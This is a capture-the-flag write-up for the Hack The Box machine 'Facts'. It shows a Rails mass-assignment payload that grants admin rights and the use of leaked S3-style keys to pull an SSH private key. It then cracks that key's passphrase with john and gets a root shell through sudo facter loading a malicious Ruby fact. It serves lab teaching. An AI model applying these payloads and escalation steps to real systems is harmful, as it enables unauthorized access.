Facts is an easy-difficulty Linux machine from Hack The Box that revolves around a Ruby on Rails application. After registering a regular account, we abuse a mass-assignment (parameter pollution) flaw in the profile update endpoint to inject password[role]=admin and promote ourselves to administrator. The admin panel exposes the application’s filesystem settings, where a set of S3-style credentials are leaked. Enumerating the custom (MinIO-like) S3 endpoint reveals an internal bucket holding the home directory of the user trivia, including an encrypted id_ed25519 private key. We crack the passphrase with ssh2john + rockyou and SSH in as trivia. Finally, sudo -l shows trivia can run /usr/bin/facter as root with NOPASSWD, and we leverage the GTFOBins --custom-dir trick to load a malicious Ruby fact that spawns a root shell.
Facts-info-card
Reconnaissance
1 2 3 4 5 6 7 8 9 10 11 12 13 14
PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 9.9p1 Ubuntu 3ubuntu3.2 (Ubuntu Linux; protocol 2.0) | ssh-hostkey: | 256 4d:d7:b2:8c:d4:df:57:9c:a4:2f:df:c6:e3:01:29:89 (ECDSA) |_ 256 a3:ad:6b:2f:4a:bf:6f:48:ac:81:b9:45:3f:de:fb:87 (ED25519) 80/tcp open http nginx 1.26.3 (Ubuntu) |_http-title: Did not follow redirect to http://facts.htb/ |_http-server-header: nginx/1.26.3 (Ubuntu) Device type: general purpose Running: Linux 4.X|5.X OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5 OS details: Linux 4.15 - 5.19 Network Distance: 2 hops Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
We have the usual SSH port 22 and an nginx web server on port 80 that redirects us towards facts.htb, which we will add to our /etc/hosts.
Web Application - Mass Assignment Privilege Escalation
We start by creating an account on the application via /admin/login, then we head over to our profile and trigger a change password action while intercepting the request in Burp:
The body submits password[password] and password[password_confirmation] as a nested hash. Since this is a Rails app and the update is built on a permissive params hash, we can smuggle an extra attribute into the same password[...] object. We add the following to the request body to set our own role to admin:
1
&password%5Brole%5D=admin
This abuses Rails mass-assignment / parameter pollution: the role attribute gets assigned right alongside the password fields, instantly making us an administrator of the platform.
Admin Panel - Leaking S3 Credentials
Now that we are an admin, we browse to the site settings page:
1
http://facts.htb/admin/settings/site
Heading into the filesystem settings, we find a set of S3 configuration values:
The endpoint http://localhost:54321 tells us this is a self-hosted, MinIO-style S3 service running on the box itself rather than real AWS. We configure an AWS CLI profile with the leaked keys and point it at the box’s S3 endpoint:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
┌──(kali㉿kali)-[~] └─$ aws configure --profile randomfacts AWS Access Key ID [None]: AKIA50C75D2FB662F8CC AWS Secret Access Key [None]: nqlT8SSLd0IKRfUrmKMgFkUzpwXiTjHEJZkThBsB Default region name [None]: us-east-1 Default output format [None]: json ┌──(kali㉿kali)-[~] └─$ aws s3 ls \ --endpoint-url http://10.129.20.116:54321 \ --profile randomfacts
Alongside the expected randomfacts bucket, there is an interesting internal bucket. Listing it recursively reveals what looks like a full user home directory:
download: s3://internal/.ssh/id_ed25519 to ./id_ed25519 ┌──(kali㉿kali)-[~] └─$ ssh2john id_ed25519 > hash ┌──(kali㉿kali)-[~] └─$ john -w:/usr/share/wordlists/rockyou.txt hash Using default input encoding: UTF-8 Loaded 1 password hash (SSH, SSH private key [RSA/DSA/EC/OPENSSH 32/64]) Cost 1 (KDF/cipher [0=MD5/AES 1=MD5/3DES 2=Bcrypt/AES]) is 2 for all loaded hashes Cost 2 (iteration count) is 24 for all loaded hashes Will run 8 OpenMP threads Press 'q' or Ctrl-C to abort, almost any other key for status dragonballz (id_ed25519) 1g 0:00:01:51 DONE (2026-02-02 00:31) 0.008987g/s 28.76p/s 28.76c/s 28.76C/s billy1..imissu Use the "--show" option to display all of the cracked passwords reliably Session completed.
We recover the passphrase dragonballz. To find out which user this key belongs to, we strip the passphrase off the key, which prints its comment:
1 2 3 4 5 6 7 8 9 10 11
┌──(kali㉿kali)-[~] └─$ chmod 600 id_ed25519 ┌──(kali㉿kali)-[~] └─$ ssh-keygen -p -f id_ed25519 Enter old passphrase: Key has comment '[email protected]' Enter new passphrase (empty for no passphrase): Enter same passphrase again: Your identification has been saved with the new passphrase.
The comment [email protected] gives us the username trivia. We can now SSH in:
$ ssh [email protected] -i id_ed25519 Last login: Wed Jan 28 16:17:19 UTC 2026 from 10.10.14.4 on ssh Welcome to Ubuntu 25.04 (GNU/Linux 6.14.0-37-generic x86_64)
System information as of Mon Feb 2 05:33:02 AM UTC 2026
System load: 0.0 Usage of /: 75.6% of 7.28GB Memory usage: 19% Swap usage: 0% Processes: 221 Users logged in: 1 IPv4 address for eth0: 10.129.20.116 IPv6 address for eth0: dead:beef::250:56ff:feb0:b25a
0 updates can be applied immediately.
trivia@facts:~$ id uid=1000(trivia) gid=1000(trivia) groups=1000(trivia) trivia@facts:~$
Privilege Escalation - sudo facter (GTFOBins)
With a shell as trivia, we check our sudo permissions:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17
trivia@facts:~$ sudo -l Matching Defaults entries for trivia on facts: env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty
User trivia may run the following commands on facts: (ALL) NOPASSWD: /usr/bin/facter trivia@facts:~$ echo 'ruby -e 'exec "/bin/sh"''> ^C trivia@facts:~$ echo -e '#!/usr/bin/env ruby\nsystem("/bin/bash")' > shell.rb trivia@facts:~$ chmod +x shell.rb trivia@facts:~$ sudo /usr/bin/facter --custom-dir=./ root@facts:/home/trivia# cat ../william/user.txt c28ac0c27c676e980035431f5054351a root@facts:/home/trivia# cd root@facts:~# cat /root/root.txt 05ff12774a476b6fccd4afa2bd565bce root@facts:~#
trivia is allowed to run /usr/bin/facter as root with NOPASSWD. According to facter | GTFOBins , facter can load custom facts written in Ruby from a directory we control via --custom-dir. Since facter executes these Ruby files, we drop a shell.rb that simply calls system("/bin/bash"), then point facter at the current directory with sudo /usr/bin/facter --custom-dir=./. The fact runs as root and hands us a root shell, letting us read both the user and root flags.